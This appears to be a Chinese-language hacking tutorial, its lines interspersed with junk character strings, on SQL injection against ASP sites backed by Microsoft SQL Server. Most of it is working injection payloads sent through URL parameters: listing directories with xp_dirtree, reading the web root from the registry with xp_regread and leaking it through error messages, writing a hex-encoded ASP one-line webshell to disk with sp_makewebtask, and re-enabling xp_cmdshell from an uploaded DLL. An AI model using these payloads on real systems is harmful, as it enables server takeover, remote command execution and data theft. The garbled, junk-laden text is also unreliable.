好,我们exec master..xp_dirtree'd:/test'
- x/ C! \% W- I" l# z E假设我们在test里有两个文件夹test1和test2在test1里又有test3
( s% H& a t- x* e$ n( e) ?( b结果显示* N, t- I! c: Y$ z0 ]* w: q
: p0 U( u5 C( q( w4 O' e
subdirectory depth# |0 {- W+ C" `: I. m9 d" A3 M. K/ ]: p
test1 1
. c( d- M$ Y0 r8 H' @, y+ w# o Atest3 2. c+ t" F6 [# `- ~! r8 r+ \, k* s
test2 1( N& Q1 I0 J; l' }$ e5 ^
8 G' j, ^4 {% p/ `) ?哈哈发现没有那个depth就是目录的级数
: Q. u. w+ r8 ]0 [7 F) s3 ~ok了,知道怎么办了吧3 U' m. e& g. a2 A- ^8 G S; J
( Z7 }3 I1 _, J
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- " R; }. o9 {( `3 R- d
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- 2 ?: Y) u* m" L+ }/ h% c
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-3 f4 \! r) ~. ~3 q8 w. G6 x a
6 _9 A2 h8 T: q. |( y7 ~: `5 D! x
只要加上id=1,就是第一级目录 。
( x! b T5 ~1 Y. D: f/ E$ D. y" j8 ~ t; d* {
6 Z! z# g2 M9 C% P- f' }% d2 w
通过注册表读网站路径:6 c0 L( A3 f4 d4 {" h+ }
% [' h1 h) D$ v* d1 t
1.;create table [dbo].[cyfd] ([gyfd][char](255));
, E- x# Z9 G( y2 V6 w, N y/ C& Z1 p# N0 ]; E8 Q0 e! k! S
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--9 |' @, W7 n9 N- H0 X. n5 ^6 a
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--& C5 R1 o z. u& ?: y
4 y X) c, d) O& U) z- n3.and 1=(select count(*) from 临时表 where 临时字段名>1)# o2 o* `$ T1 N7 O7 N
and 1=(select count(*) from cyfd where gyfd > 1) : x/ ?+ j' _7 K+ [! b5 p
这样IE报错,就把刚才插进去的Web路径的值报出来了. J) B6 o }: z% I. n( B3 M* r2 n8 z* e, y
8 t; _$ E6 a x4 s. y* t
4.drop table cyfd;-- 删除临时表' |+ \: n X, a+ w5 e& ~
6 F. @% N- i9 b) w' j9 \
获得webshell方法:
! Q) m' H _* W6 M1.create table cmd (a image)-- \**cmd是创建的临时表
# N7 D4 w: @% E, Y% w0 d: b4 T3 r8 K! [
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
6 N: B1 l2 Q9 T$ o1 R/ R* C8 j7 k+ z" p$ D3 b% U9 S
" h" Y! ]5 x8 n8 } z
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'7 ^( t: R& ]% Y' m$ K* g. q+ l0 s
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
0 z3 @, @( C" u" x. M8 @
5 M: D' e, [/ m; X4.drop table cmd;-- 删除cmd临时表
" G. e7 Q7 g6 R- B" u9 t6 {: v3 ?" x5 j' c) p
恢复xp_cmdshell方法之一:
/ t/ i2 z) j) O& M我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
7 I3 d& g9 w8 J7 e5 Shttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'2 ~6 w+ }7 M+ s2 S) G
恢复,支持绝对路径的恢复哦。:)
5 w4 M- k5 {& a |